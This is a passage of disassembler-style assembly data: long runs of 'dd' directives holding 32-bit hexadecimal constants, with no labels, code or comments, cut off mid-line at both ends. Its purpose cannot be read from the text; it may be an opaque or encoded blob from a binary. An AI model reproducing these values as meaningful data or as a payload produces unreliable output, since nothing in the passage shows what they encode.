8358BE44h, 92F1CDh, 69A2129h dd 0E80DF26h, 18A47A58h, 0D6C1354Eh, 5C8100A0h, 1C882B38h dd 2F3D4398h, 0D35100D7h, 0E29CD9ECh, 12E47D3Ch, 269A20Ah dd 47F23798h, 7488B605h, 0AA2D00E2h, 0B13F6D9Fh, 2000C330h dd 5C214F46h, 28B0E43Bh, 6120A168h, 56508154h, 0B0822F0h dd 98705152h, 24CC3AD8h, 0C54D48Fh, 59196536h, 99E50500h dd 409DA2B7h, 4EA50FB3h, 43C00741h, 0C2BFF345h, 18DC00Bh dd 0E774A258h, 79FF10FDh, 6421A507h, 386A505Bh, 88E45687h dd 8D66D400h, 0D2B03FF9h, 70F4E161h, 5BB4509Dh, 0F6EC52CEh dd 514AF3F4h, 5144C47h, 6C4565B0h, 820B0217h, 570CD2CBh dd 0D9436441h, 0C2020266h, 0EA50EA39h, 93086384h, 0C9F903FFh dd 36645EEFh, 7B3140F4h, 9FB24Ah, 0BF6B7967h, 0C77E0706h dd 56B89904h, 3480CB08h, 4C14D41h, 0BCE209AFh, 2CC883AEh dd 522A31B4h, 0A49C4E03h, 0B200400Ch, 576284BDh, 9078CADh dd 8598DE8Dh, 53B81441h, 0C045E684h, 0FE004284h, 0A0692120h dd 4AC70173h, 0B26B6778h, 848EC7Bh, 98007272h, 186C016Eh dd 60AF7DF7h, 7C0F398Ch, 680045E9h, 0EED2D9BEh, 1801F39h dd 9C0BADC0h, 0C648EC81h, 495168C0h, 4AE41E00h, 5F530CFh dd 89925C39h, 7FF98300h, 617BC502h, 6A11F098h, 3B11BAA7h dd 0FFB6185Ch, 373079h, 854829C7h, 9B54997h, 8F7F1400h dd 783F4354h, 5B3D248Ch, 334F0C20h, 5A00CC41h, 0F9E45EECh dd 81EA80h, 0AC7D52D2h, 0CF4507AFh, 15A6C3Dh, 67D99B06h dd 4820427Ch, 0C81612C0h, 3CF135Fh, 8D815ED8h, 88ADA2B9h dd 427421B8h, 3122B7C8h, 3643213Ah, 15C007EFh, 7D019093h dd 0E27EC5h, 0ED48A538h, 0C184EB79h, 22ECD25Ch, 71F417F1h dd 0CFF821B8h, 20E0164Dh, 5C5C4E5Dh, 9AD60100h, 4FFFED30h dd 2C2DAEE9h, 0D0CE3C85h, 0ACE11B20h, 7700E0A4h, 946B7F02h dd 0AAD138h, 802CFA4Fh, 0AD3182BFh, 5180189Ch, 0C0F92AEAh dd 12604A45h, 0C97002E8h, 71249EDCh, 8C42B089h, 0DFDE200Dh dd 0B8000C82h, 6FAE359Eh, 0B2F12C01h, 0AA0D2AE4h, 442898F4h dd 0FF1FE469h, 0E9834A1Ah, 0DEAF601Eh, 596F0089h, 0D97E67BAh dd 4400304Ah, 31FF07E8h, 3DE3099Bh, 2F09701Eh, 0DCA001BEh dd 0A61195F3h, 2237D80Bh, 1550014Fh, 99173E2Ch, 0DE49EC19h dd 0A4FA0D23h, 20104E49h, 5900A8EBh, 9901F154h, 0AEA5DAh dd 0ED0BCE36h, 4347F56Fh, 1470E0C4h, 59449482h, 0FC803D20h dd 0AA96658Ah, 0EE032DC8h, 40784974h, 4887AA9Dh, 79915C34h dd 4A8DEEDFh, 57F438AEh, 0D0313C9Bh, 470EEB3h, 4C14A4E7h dd 0A9A15C56h, 442054Eh, 807851C5h, 0EE89FF24h, 56FB0E12h dd 0B9D97250h, 402251h, 6C90C2C4h, 377FE1Fh, 0A0EE958Ch dd 0C037BF0Ah, 0E04631F9h, 0B97822C0h, 6F4F489Ch, 206D81C4h dd 0FDF08255h, 50475469h, 9C518A8Eh, 0B80F21Eh, 0D39648F0h dd 0BD6202EBh, 0F904CC34h, 77246C58h, 0B6433CACh, 213902EAh dd 3DF368E5h, 0A0591662h, 5FA7BC00h, 738BAF9Dh, 873496DFh dd 0E08CF0D3h, 0FF3769F2h, 58EC94B8h, 6C44FA02h, 41F7B1B9h dd 6F0CF978h, 0FDB63084h, 8C9F5149h, 44CA120Fh, 0A80CE09Ch dd 19640B4h, 43BEFD47h, 2434042Bh, 0E5445484h, 42B8B457h dd 0C6206830h, 5478AFh, 0C03BADA4h, 8A6F8B67h, 0CCCE0812h dd 7C82F095h, 0B2AF238Ch, 893180C5h, 509A9C6Bh, 87BBD21h dd 6988BB81h, 7111BA50h, 3C527EF1h, 70CC0B98h, 792C62D0h dd 59BF8204h, 0B044C0FEh, 2022C683h, 0B650756Ah, 82BE445Ch dd 319F344h, 99B62988h, 0FB5500BBh, 0F22FEDC0h, 168F0073h dd 86DE41EAh, 0B42822E5h, 0E02DFCF8h, 98F80965h, 0B65ADCh dd 4BC04754h, 0D47FC94Ah, 56611304h, 0AC8D81A2h, 80E53430h dd 44847A69h, 330B4099h, 80854CCCh, 6BF4E7D8h, 9400B17Dh dd 8848AF50h, 9198A280h, 0E22461DCh, 0F7106468h, 42E13CCDh dd 0ECAC6FB4h, 8C71C7C0h, 8143E096h, 5CD09530h, 7C3A99B9h dd 2D59818Dh, 1057C00Ch, 92A297h, 660FB813h, 390A0904h dd 0DCB98A1Dh, 68259028h, 70A48191h, 0C81763B7h, 53AE641h dd 0F1D5ECh, 3953E7E2h, 79B520B6h, 1364F000h, 6D0EBA3Ah dd 1737000Ch, 746B3167h, 627242CDh, 36355300h, 8A19900Fh dd 5BF60002h, 0B5C8C060h, 48B03046h, 6B50BC0Ch, 9D8B94Dh dd 2D038659h, 7F07BC44h, 2FAEA072h, 0EF6A7660h, 0E60B004Dh dd 0A1DD4C6Fh, 8D0B082Eh, 0AE863C3Ah, 0E7249160h, 0F248089Ch dd 800B7888h, 0AE0E34D8h, 0C24802A8h, 0F6BF004Ch, 0E5C3A0CCh dd 0B2E91588h, 0E708B039h, 0F691F941h, 0EDC48800h, 0CE39AD8Ch dd 0C97D0700h, 0F79D4DC8h, 81340153h, 6188E602h, 0C52452B8h dd 0F28BF422h, 44089040h, 9A00A0D7h, 0DE228C7Dh, 52F43156h dd 0D049CCE2h, 649FC721h, 12AFE220h, 90ACE41Bh, 3E56CAD0h dd 7C30361Dh, 0E8803D40h, 90CFEA03h, 0A11C80E4h, 0C90A1ADh dd 0F44401FEh, 3B016DEh, 0D5EAC6D8h, 66B197CCh, 1D70237Fh dd 943A5F20h, 0CDBC368Dh, 6C34E118h, 5101F120h, 0B7F4446Bh dd 0A5C601C0h, 39AA6B2h, 1EAEF6D8h, 0C05079E9h, 67EEF53Ah dd 0EC9CD25Ch, 0C8814364h, 4A087999h, 68914499h, 8C70C202h dd 0E8EE34E5h, 8078663Ch, 0FB191C41h, 18C6D4h, 5A455DD9h dd 3B7920B5h, 22C8680Fh, 6C9D60CFh, 167D43F5h, 8D8A2B1h dd 3797D6ACh, 0A80E5820h, 0F700082h, 60852E64h, 48904826h dd 0D08C0252h, 0AE21FCh, 0B0CA9C50h, 0D6482280h, 8B5C2FC8h dd 8A0418D8h, 39FB00EDh, 0E20702DFh, 6F13580Fh, 5420F026h dd 80E69CF7h, 0F18480CDh, 5688BC38h, 78AE9E87h, 2DEB44F0h dd 0ADC100E1h, 0BAC88EF7h, 0F8B5FEEAh, 8059046Eh, 0C1557292h dd 3197D4E8h, 85CC4734h, 0D20C03Eh, 5653E181h, 7A3D8444h dd 442E9A22h, 4349693Bh, 60C4C850h, 9085B53Ch, 0D00C8E2h dd 0AC04A6ABh, 877E694Ch, 729F1102h, 0E625781Bh, 0A1F07B1Ch dd 4062FDA6h, 46782D04h, 4A08D1C5h, 88E10843h, 749979F4h dd 924EBA88h, 52581EFAh, 40841EE1h, 0F3B5A64h, 0C7268B4Eh dd 9E0858BFh, 56486568h, 2C4C8DE4h, 42507C44h, 0CC99AF3Ch dd 7ECB8840h, 0E42C002Bh, 4E91B90Bh, 0E70536EEh, 4261A4B4h dd 60042C81h, 0B6055C61h, 0D2083440h, 24680247h, 4488872Dh dd 0AFA8C24Eh, 867928E4h, 78315100h, 9A9F32C4h, 8CA40BB1h dd 488435FEh, 216D3261h, 3644CEB0h, 2BD41298h, 8CBFDC02h dd 0EE98898Ah, 9C434CB0h, 0C6AEC800h, 0ADC718A4h, 485B7300h dd 0F021BA36h, 5A790049h, 92BD9523h, 5F09CBF5h, 2AF7844h dd 0E6D62724h, 0AE7207F4h dd 707CB6D7h, 69FE0198h, 92D26300h, 48B2BEA5h, 39DD0C70h dd 8D08BBBCh, 0F9622F00h, 4795E072h, 1E4100AAh, 3EBCC3FFh dd 6F3A8C6Bh, 0A9CA0DDh, 0FD54DB39h, 0A2890097h, 68C8CA6Bh dd 92852603h, 993EE7h, 0F8D5C429h, 4731DF5Ch, 56006978h dd 0F26B16EBh, 0EC351F79h, 2D2F16F7h, 4AAA0010h, 439EBCAEh dd 467E9F0Eh, 0F602DDACh, 43B4FC28h, 6758039Bh, 105B700Bh dd 2E0D5FE8h, 1400CE7Eh, 38BF2031h, 18B4AA0Eh, 308BF768h dd 0E6001C19h, 5A4AE47h, 1FE03Dh, 0AA13F3F2h, 52BC1BB2h dd 4E513Dh, 0ECBE92Ah, 15C02F5h, 274D2387h, 0F4D9EB2Dh dd 0EF00D674h, 8816BBBh, 0CDA2FCEh, 0AB3E3D0Ah, 1C0FA2F1h dd 0A7117003h, 0E440498Eh, 0B71718h, 2F616878h, 1F6CE797h dd 0E6BC5454h, 6F08CC60h, 729447h, 6BBC5524h, 5A9C347Ch dd 0F1990E28h, 3E4F090Ah, 1480DC3Fh, 0A31626B2h, 606A00EEh dd 8123A98Ch, 9803010Dh, 52789533h, 0DBA790B2h, 0EEAC1F2Fh dd 0A02A21h, 0CEA370DEh, 0B4048932h, 0ADF01F54h, 4EE0D107h dd 808E1D98h, 0A5AAA908h, 5F101A4h, 0C2752502h, 2491C9C5h dd 44845A24h, 99000648h, 177AAAACh, 1E1053AEh, 410D1BDCh dd 0A63E839Ch, 738042DDh, 5D43B421h, 261881BEh, 3C0F1949h dd 149AD4A1h, 0D5E19430h, 614A0030h, 0C24C1633h, 341C1A06h dd 0A9C04D62h, 0FC736F1Eh, 870616Ch, 41B4951Dh, 83729C0h dd 10E384A1h, 981535Ch, 0B1C53556h, 84366802h, 0F1409C24h dd 0B505518Ch, 0C446E7A0h, 7C00E3EEh, 57CE6CB1h, 90D10AD9h dd 324F4344h, 9671E1E5h, 0B7094484h, 3EE1D13Ch, 0B4F062BEh dd 80BC453Fh, 0B902916Dh, 0B0054D26h, 8F763173h, 0D44405Fh dd 0C088E3BEh, 9CC752A2h, 4B1CA053h, 0FEB8790h, 0C1DAB08Fh dd 6008AF17h, 66A3202Fh, 6C293148h, 0E60CF028h, 78BC51E7h dd 0AC00196h, 0C4C22585h, 0B4D88C1Ch, 4AB963h, 5A099774h dd 0C2DF965Eh, 0BB86ED0Fh, 0DCAE2622h, 74E849h, 0B1626C52h dd 2FD73383h, 9C2A219h, 8C41B8B1h, 0F00CD9Eh, 0D207B647h dd 51D4E43Dh, 0E6AF0C83h, 0F4A40FF1h, 83401A04h, 5FACC7B8h dd 43612118h, 84329B61h, 30BE1C44h, 0AC41A3ECh, 761B90F0h dd 10E8918Ah, 386028h, 4CF16D3Dh, 4892FAD3h, 9A10B00Eh dd 462D004Fh, 0A6A5775Ch, 444800EAh, 3F85E47Fh, 7400E63Dh dd 751407D3h, 30B4EFCBh, 0FE184042h, 189276E0h, 51229B43h dd 4DC96D42h, 52369C19h, 0C0826DD0h, 2407639Ch, 0CE647721h dd 6414B1F0h, 327360B9h, 1FEC903Bh, 66E18B47h, 19198137h dd 2268414Bh, 98423821h, 6714A41Bh, 47E35261h, 88834944h dd 0C1026CB4h, 99880CDFh, 0ADBE80A6h, 0BB83CD5h, 3155F8DBh dd 8930BC04h, 0F21D6C8h, 418064B4h, 5B7D06EDh, 0C648BCA3h dd 1B9C83D4h, 93C615FAh, 1610C46Eh, 0C3A20CB6h, 48BE29C1h dd 3D9F0CE0h, 149361EFh, 8CC018F8h, 0B52C1533h, 43537602h dd 606D3CB8h, 84C31174h, 2D317761h, 4980D5E7h, 0BA747153h dd 4C26C35Eh, 46885841h, 44B420CCh, 0FD2A4236h, 6C00C8F7h dd 1054A4F4h, 39714B5Ch, 0FD1E64EAh, 6B9C3D45h, 8016592Eh dd 887A0C1Dh, 70A8EEA2h, 4284A9B8h, 0FA88403Dh, 1CB54240h dd 0DBAFAEC4h, 102B816Ch, 0CC68E85Dh, 4436F108h, 0BFE646A8h dd 88B0061h, 0EB948F54h, 89002FB6h, 0BA838170h, 0FEC224FFh dd 81449027h, 0AC10A3C0h, 5499E47Eh, 3D76E186h, 101543E9h dd 0B5267081h, 0A88609C0h, 44174022h, 0AC4C5411h, 24B04CFEh dd 0E7555CC2h, 0E8869090h, 0E200BBF8h, 825AE1CBh, 90876E12h dd 345F4C46h, 42A8F2CAh, 0BC2797B5h, 0C2F68018h, 4796FF10h dd 66D20F00h, 80379CF8h, 0BC7349D7h, 0B8086220h, 9E6BF4E6h dd 44CD5686h, 222FE53Ch, 46B259Bh, 686D6D4h, 19BDBCh, 0F28AAB55h dd 0EACDCC92h, 54E98901h, 0D39CFBFFh, 29806DF1h, 2CDCB66Eh dd 0A1F82F59h, 0CE9AAC0Ah, 0EA04E043h, 0A0489177h, 0E4BE0F84h dd 84EF888Ch, 436D5212h, 0B8EAF81Fh, 0AB504214h, 84CC7ACh dd 0CB40BFB4h, 5993FBC0h, 5EF30618h, 4210242h, 0C276371Fh dd 445C8B19h, 7B589AE8h, 4A1904A8h, 0EE8082EFh, 9226B410h dd 0FE4D00F8h, 37D1C61Ch, 0D600E2A3h, 34A50643h, 2CF94F3h dd 3C0ECEE0h, 68440F22h, 0D41E8615h, 91A521B4h, 5A317DCFh dd 3D3E6162h, 77E93024h, 9FBA0028h, 8A16FC4Ah, 1F3F0840h dd 55F70653h, 141C0BBh, 0C9F85C20h, 0DCAF8E01h, 0B1002334h dd 40BF46D6h, 4CC77BCAh, 452EAD3Bh, 90ACA48Ch, 0B46B8B86h dd 0EB83C70h, 40A9E8A0h, 64A1A466h, 3D08D511h, 4DBC246Ch dd 9FE61078h, 9080B53Bh, 0F143A9Dh, 0EF00CF75h, 319BF5B8h dd 3ADEB70Eh, 0B294E45Ch, 0BB18946Eh, 14CF4993h, 30A93800h dd 0FA6CB3ACh, 6266002Bh, 0EF6853B0h, 23281465h, 0E143ACAEh dd 0B2070B22h, 170EBA24h, 0A060FE7Dh, 8B68033Ch, 0A722B34Fh dd 91083Eh, 283B8D72h, 11D0E0h, 9FBCC6CDh, 0DA64FC0h, 1297663h dd 8A08005Bh, 722C5E52h, 3000C095h, 0D1C90BCDh, 73CC70Dh dd 0B951C15Fh, 0B10AF332h, 0B04F3001h, 0A6666D24h, 4CC51180h dd 83C69749h, 8FEC1400h, 470E156Ch, 0C24B17D3h, 45B70317h dd 81BE06A6h, 3CC88E06h, 60AC43h, 311C3BB1h, 0DE587761h dd 92699501h, 4C8F3544h, 181862E8h, 7082C8EAh, 11008DB3h dd 0EC05AD91h, 15016E21h, 3423C273h, 885D7444h, 20007DBDh dd 0A65E4022h, 0C0F32DA0h, 9D0425Ch, 0E27B5A25h, 0AAEFC03Fh dd 9179AC07h, 1169C81Ch, 0E0D97401h, 51BA4ECCh, 6AD79E0Ch dd 0E8C8AA96h, 616264CFh, 2201BCE3h, 0A11980D6h, 4BAE65E9h dd 90A20187h, 4903823Eh, 2C6ACC46h, 0AFFA3500h, 0CA0D7073h dd 0E6D73BB4h, 9DA72B07h, 0CE8040A0h, 0B000917Dh, 90629FCFh dd 5003A6EDh, 88447CBEh, 7D062450h, 7312F3E4h, 22DB43A8h dd 33B24075h, 4884BD40h, 0EF80103Dh, 41E4F4CDh, 15243001h dd 69E0BDF8h, 0A88C4020h, 1F6AB1C8h, 62529EEh, 198B35A1h dd 0A6E93EC1h, 6980890Bh, 0AA3BB8B5h, 25805535h, 315C888Ch dd 86399B6Fh, 3A19483Bh, 0AA40AE66h, 27E46200h, 0C23BC6E6h dd 0D48C0228h, 0CDD67B45h, 8F34E681h, 1EEFCA6h, 0AD416060h dd 3E2493CCh, 89F5CBDh, 0A241C0B1h, 846E0D8Fh, 59043702h dd 9BD3C24Ch, 6A41E48Ch, 8E8E255Ch, 25F2AB99h, 0E420240Bh dd 0E15BCCEBh, 720C8h, 0DBE52B93h, 0D4031874h, 79446B02h dd 82694E3Dh, 13D2CBB0h, 124221ECh, 51663420h, 0C99FF8AAh dd 0F1E44Ch, 9E6030EFh, 96541C5Ah, 7A01F56Ch, 0D6A9706Ah dd 8FF40C62h, 16ACE631h, 1F022C38h, 72694045h, 0C3BF34ABh dd 0D3A450E9h, 4700F33Ah, 0EE686B59h, 0A01D28C8h, 912684A0h dd 0BBAC3B70h, 0DD580007h, 0CC2B78Ch, 0CC409361h, 8D61251Eh dd 2A4BC0E0h, 0B90A051h, 0B259C85Fh, 3900E570h, 0EA58357Fh dd 7F0BA3Bh, 1884E7A3h, 22710CC9h, 0BAA450F5h, 660092DDh dd 62D2E37Ah, 3EFD6948h, 98FF2579h, 0A538A160h, 84A40208h dd 0EE80DD00h, 0CF53105Dh, 1F88EC2Ch, 80A1C017h, 1A3A9FFFh dd 0B8A4023Eh, 80A6303Bh, 0DC5D1466h, 41EED92h, 44D069D8h dd 8A4C93FAh, 98A8F072h, 0A2491EA6h, 81928808h, 0CEC23DAAh dd 0C8C1F789h, 74198087h, 162505F1h, 6EE301B5h, 0B86672A8h dd 0D0EC403Eh, 5D245C02h, 8443A02Dh, 2617823h, 0E206BAEEh dd 0BC87D8F3h, 8441AC3h, 0A0B2D60Ah, 8C1829A5h, 98000D79h dd 23423195h, 594E40h, 37C61987h, 29165003h, 3B5D092Eh dd 835CF90Eh, 0B85B4120h, 2FD287h, 5962BA6Bh, 0CE65ABCAh dd 95827200h, 8AFC75A7h, 194700B5h, 0B69F0187h, 1B0E22C7h dd 4038B334h, 0F1BA71C9h, 0C4D1005Fh, 0C04A32BFh, 8001547h dd 0DC70D9A8h, 8FE036h, 0D56CE6A0h, 6769881Ch, 0B0AE0907h dd 52207519h, 5CA608E5h, 0F00089B5h, 586CD51Fh, 1004C51h dd 0FF1DF9B7h, 1B109F05h, 8A4A887h, 0F82E3DE8h, 1F045000h dd 0E40E56EDh, 9FB71E06h, 9EB68D1Dh, 21FBE728h, 79F7C11Bh dd 9088E008h, 0AFA006Fh, 6C5748F4h, 980069AFh, 939597DAh dd 0CB82CCBh, 0DD7C7A16h, 9831AA71h, 3A04175h, 25F59180h dd 0BC5BE859h, 0A7453D03h, 0F018EC7Eh, 3BC3932Ch, 7A0CF67Dh dd 4849B382h, 0F1912060h, 0FD945Ah, 776D307Fh, 64F22F72h dd 0E29BF300h, 0A570F7A7h, 270D0059h, 28D11206h, 0D00C23FAh dd 0E8A11813h, 2BB588EAh, 894D9318h, 0C0FDA070h, 0BC570B19h dd 443E53ABh, 45B000A1h, 0AA208A0Dh, 0D1816399h, 31788B7Ah dd 0AD8FC100h, 4F6F4286h, 8462017Ch, 93A9FF71h, 447F0833h dd 0ACA6BF89h, 0E39E6D00h, 5E15747h, 0A8FB00C8h, 825EA567h dd 0F9C02446h, 2D04DB18h, 57B900EEh, 2E78FF54h, 0F000916Ah dd 157151B6h, 486DEAB1h, 8D389329h, 0F79E590Eh, 0C1F969F8h dd 0C0EE8107h, 247921A7h, 0FE401354h, 0A0230A11h, 184F370Fh dd 990580FBh, 0DD130Fh, 0E4306EA2h, 0F77B104Bh, 889EA918h dd 4F9459h, 31329C17h, 0E2D060B2h, 0DBB034FEh, 0A61B6E00h dd 40498241h, 72A7BFCh, 0CF880E18h, 6768312Fh, 50BC48A1h dd 68AF352Ch, 7E07FA07h, 8211A06Ah, 0B7A78F0Ch, 601F57B9h dd 0BEED09h, 99F0C115h, 0A1DDD53h, 508083D4h, 71C0Ch, 751C0F6Ch dd 970053FFh, 227EF3D4h, 0E1EAC81h, 2405A14Eh, 8098455h dd 542F7B35h, 8A02A000h, 6A18F9F2h, 0C71904A1h, 5C21001Eh dd 538D032Dh, 85006FADh, 3661807Bh, 0A913C76h, 1C4B920Fh dd 9A370008h, 2261BE53h, 6E4E8000h, 70EC5734h, 0BF560029h dd 27B30162h, 0C00FEE1h, 0FCC39183h, 917494A9h, 5D4439A0h dd 0D6431200h, 4AA9B180h, 0E3540006h, 0E59F732h, 14F4826Ch dd 830005E0h, 3A577FC7h, 3BA00961h, 0F78058E1h, 3B54D71Fh dd 3C9836BEh, 6A4FFB00h, 5FCF203Ch, 1E0507FEh, 16F7CA88h dd 0D874817Bh, 0BA0072F8h, 8025E8ABh, 4CA94623h, 0B78034A0h dd 0B60CF5DCh, 0E8604101h, 0E5E7D2F0h, 296185DCh, 0FC4744Fh dd 0EC1492A9h, 1D55F983h, 4064ECBAh, 54372322h, 0F23070h dd 0D38E12F5h, 7578744Eh, 88974C00h, 2A8DA120h, 0DCAB54A8h dd 5E4807B6h, 0A00302BBh, 92170CECh, 6F2CFC02h, 4347AEA1h dd 0CB25E8E8h, 0ACE31024h, 0AEAA2216h, 488542F4h, 1882268h dd 0DF23BD8Fh, 0E2A11369h, 1F05888h, 0A8DB2B77h, 0A41980A5h dd 71286C7Ah, 89730495h, 0C04BCA54h, 202F0D50h, 82440898h dd 7F25C93h, 46245738h, 1521C058h, 27AD1BAh, 48901C90h dd 0B0B0914Ch, 0FAA306h, 495761D3h, 856E1574h, 2C1F3900h dd 0B7B80FABh, 0A8271116h, 0B5DD00ADh, 3F83C233h, 461200F7h dd 65D345F9h, 7300278Eh, 4F0B66E8h, 1230F20Eh, 30E15A20h dd 7A759548h, 0BBE47600h, 0FBDEAF68h, 0E32A004Ch, 9C27CEDh dd 3781D5Fh, 0A3A8A4A8h, 129D79C0h, 38A9682Bh, 0B854E9F7h dd 48AB447Eh, 0A0831874h, 0A6A0A7h, 69FBFC35h, 257FEC9Bh dd 0A83081E2h, 0F07531A9h, 738F045h, 8E7CDE0Ch, 1DD630F8h dd 0B53AECF7h, 5306966Dh, 0A78A1007h, 133391Ch, 80214FCFh dd 0C983FF5Eh, 4809ED1Ch, 125220A8h, 8A2902F0h, 88684B13h dd 5E80F8FCh, 281FA788h, 7282B0C3h, 0A5C8C8ADh, 81DBF84h dd 261F1018h, 840B28EEh, 3F46B3Bh, 76F74Ch, 0B5D20721h dd 1E24C993h, 0C20752FEh, 4FA90DF8h, 0C81D8520h, 3BB6F03Ch dd 7603C120h, 0C599C07Bh, 0D893580Ch, 0F0278004h, 38970C15h dd 9F891D06h, 7C126F73h, 0C40F309Bh, 18280956h, 0D22054h dd 0AAF65F39h, 3EAA4BAh, 171EF307h, 1FF21083h, 24C8404Eh dd 3051D2DDh, 0AA330E10h, 0DE279E1Dh, 5AA76840h, 3D06A65Eh dd 70EF9774h, 700408F2h, 5FC0AC80h, 0ECA7D5h, 6E889D98h dd 0A958226Ah, 8FB49B48h, 1A474690h, 97710071h, 39599537h dd 0DB0016D3h, 14254E90h, 0E8628263h, 61FB60A0h, 69A8C74Fh dd 99A98612h, 0E9FBDC31h, 73F4B870h, 78380087h, 4130421Bh dd 0C91DF720h, 485C5F16h, 0FE7F1070h, 966016Bh, 0D8170FA8h dd 9218801Ch, 614636B9h, 0E04CEFC9h, 18173891h, 3900B1BBh dd 51864E53h, 700314Ah, 0BDA6C133h, 0CA66BEh, 53509763h dd 2FD62047h, 0D819BF00h, 3F8B160h, 1F0514DEh, 7788B423h dd 0D700359Fh, 0A303B22Ch, 0AC971E80h, 0EA25404Bh, 0A5A0CF0Ah dd 82709F5Ch, 43D612ABh, 10FE3F8h, 9B6DF319h, 0F06827B0h dd 9009072h, 0A010778h, 48A0C62Fh, 8877F059h, 0CA00210Dh dd 60C2F0D7h, 90D87703h, 534416C0h, 30A41A27h, 0AB00A0C6h dd 0E769F75Ch, 587F53B8h, 8BA2E4C1h, 915B3848h, 70F40426h dd 0E0BEFC8Fh, 0D19215AEh, 8CB94C3Ch, 22B6C517h, 0C4441DE8h dd 0B7929912h, 79FFAC4Ch, 6DED0621h, 0A0C02028h, 1B509120h dd 391F2B06h, 0A86C3040h, 9389A060h, 10C0B1Fh, 0D18AB2B9h dd 20C71953h, 3881B74h, 69EF61A0h, 820F2606h, 79370819h dd 0A046A2h, 62380692h, 0FA1FC389h, 213008A0h, 8593AA15h dd 20270084h, 0FBE4917h, 654CB0ECh, 2AC9111h, 0B18A08DCh dd 0C05C0C04h, 0E2DFB5F0h, 7D00AD0Bh, 0F5A9AAA2h, 3D9B5961h dd 14934A3Ch, 0F47422BAh, 372C5885h, 57583880h, 0DCD002DBh dd 6BFF784Dh, 533C1064h, 30C52670h, 481FB901h, 84345925h dd 1C894C7Bh, 6116189Fh, 31E0B33Ch, 200562E0h, 0E14C9B26h dd 1030B085h, 24464A1h, 4AC7F958h, 38806C01h, 67CF6157h dd 53C1D61Fh, 92E15280h, 0C0E951D9h, 0B5D11F08h, 2D00719Bh dd 37F5D860h, 2E5F7F98h, 6D52A89h, 697A3603h, 82F9C880h dd 24E83C06h, 8340CA60h, 0C7408608h, 217176C8h, 0FC88AE09h dd 15005229h, 0B264256Bh, 59A90Fh, 0A708DE87h, 0CDD73FBh dd 6A97AA17h, 0B7881021h, 0D8524812h, 0CE0B9900h, 0F3F62A4Bh dd 577E74h, 3469EC14h, 0D988414Eh, 1002FFAh, 5D47B8E3h dd 0CB59B58Dh, 44937F90h, 0B0AC20E5h, 5800F98Eh, 5A558B2Fh dd 3A93FD6Fh, 0FF81A6D0h, 62CE76BEh, 0F4CFD0B8h, 8B3EB47Bh dd 0D21D01D1h, 8394A9B0h, 7821B181h, 2928ABFAh, 81F53A14h dd 23E99568h, 6C606673h, 2A7CE00Ch, 9CC220Bh, 7D1C0499h dd 2806D403h, 1D1299B6h, 3423FEFCh, 340A42Ah, 8F3C8835h dd 21FCC530h, 6144482h, 6C830D02h, 84947801h, 53FEC240h dd 3C7726h, 7ABB1F02h, 6A965D38h, 5694C610h, 0DD839701h dd 70AA99BEh, 89F2CD80h, 296F5701h, 0EFAC2B84h, 0B07A860h dd 8FA9CF8Ah, 2127E490h, 939AC016h, 0A0A4944Bh, 0C6B48FFCh dd 302552DDh, 77C06C4Ch, 0DC4D1D28h, 2D52AB1Dh, 5FB9F040h dd 32677622h, 0FF82949h, 88380720h, 0C88F213Fh, 5214790h dd 7BFE0781h, 0B04132C3h, 41801D47h, 25CCF409h, 0AD1C35D1h dd 0DD80115Ch, 0ECD95EC1h, 7F781B5Ah, 0FD819845h, 3E407482h dd 4DB9F209h dd 54DCC847h, 3F3E0E6h, 4012B1CAh, 46E8BE91h, 0A4241DCCh dd 0A43ACC49h, 831C24F6h, 309AA51h, 9C031F37h, 2012750Ah dd 0F8CDCF8Bh, 50EEB830h, 0F1E9948Fh, 1AF9189Eh, 840F9899h dd 7B6E4C22h, 8C916562h, 23ED101Bh, 0FD4400E0h, 8D950BC7h dd 51001EBDh, 0A280372Fh, 24EA34h, 4E3152B5h, 5F47C319h dd 3B55C400h, 865C6980h, 8FE90161h, 70CA9BC2h, 61CFF357h dd 0F0D31213h, 0E60FB092h, 0C2E83410h, 52A7906Dh, 49615C28h dd 1A2ED700h, 0F6260869h, 0C02C2D01h, 8B9BFC39h, 0F7207024h dd 32A17011h, 0B2E200C0h, 0A0FD91F4h, 4B2C0343h, 0E018075h dd 0CB8B49A0h, 3C0A73Fh, 4369151Eh, 10A4AF20h, 6CA03494h dd 9C868AAEh, 0A8715911h, 0E744A1C0h, 395E678h, 207DE042h dd 0D890F809h, 7B0EFF72h, 0B4753757h, 0ACFCC1F4h, 39C80409h dd 6C78B4h, 0D1880A28h, 4DEB46DFh, 85CFD20Ah, 84284493h dd 9099C100h, 4F6FBFABh, 96A912C0h, 40942438h, 43610648h dd 50030F63h, 7BBBE095h, 2D0AE8E3h, 7976187Ah, 1EE7986Fh dd 0D891BE81h, 608A0E02h, 0D77C846Fh, 88157488h, 12002B89h dd 4BE5919Dh, 4AC89328h, 7B5C0017h, 3AD670BAh, 80CDC10Bh dd 0CA0485EEh, 4F8BF490h, 8EF1627h, 0F7BC32C0h, 0B4A67064h dd 0D87008C0h, 1C5AA06h, 97F11FAFh, 3C4E87B9h, 4C837918h dd 0EFC0B439h, 0F34C097Ch, 3411C400h, 0CB77821Dh, 0DC700019h dd 56EBAE8Dh, 18134E8Eh, 0DC078A0Dh, 85AB970Fh, 0CA27BECh dd 0CC8F834h, 0B7F91EC5h, 384A2500h, 589CEC86h, 97E602A4h dd 57DB1978h, 7A37C881h, 0A8083459h, 14FEE802h, 64C38F83h dd 43749628h, 97D1513Dh, 0C688D411h, 0BC124B0Fh, 96084C9h dd 4C8810C4h, 0A9282D68h, 0B0AE04A0h, 923C76ECh, 39AC8114h dd 0F7593512h, 1C38460h, 8828C2FBh, 60600723h, 54C1D08h dd 162180F4h, 2339D55h, 7C896FD8h, 0EC702E57h, 2E7B9122h dd 4330807Ah, 89489AAAh, 87B24F4h, 48449448h, 3EE3F0A4h dd 6E04C4B2h, 0C524652Ah, 18C8080Ch, 0A9256CACh, 7AE80274h dd 605948h, 98D274F9h, 0B701C243h, 0BB93EF6Ch, 206C9F28h dd 340C5B00h, 0C48F4388h, 4B90D099h, 1CC8E53Ah, 0A17722C0h dd 0B92CFEA2h, 60AF3BFh, 0C42A81Eh, 0D524C127h, 0A09D7CF4h dd 0F898CD74h, 0CCA3175Ah, 1D7C70E2h, 7077065h, 8B8D7C39h dd 76440B11h, 888F9C41h, 23879010h, 0C47A572Ch, 0CF10E2BEh dd 34440970h, 5E2EF10Fh, 0A88E409Dh, 0E8EB69h, 0D589BF96h dd 0F5A08224h, 0C2980C51h, 1C25B520h, 27520463h, 88C208F1h dd 0D1011EA0h, 34BA7E83h, 8C39A82Bh, 0BE393A00h, 79DAEC4Fh dd 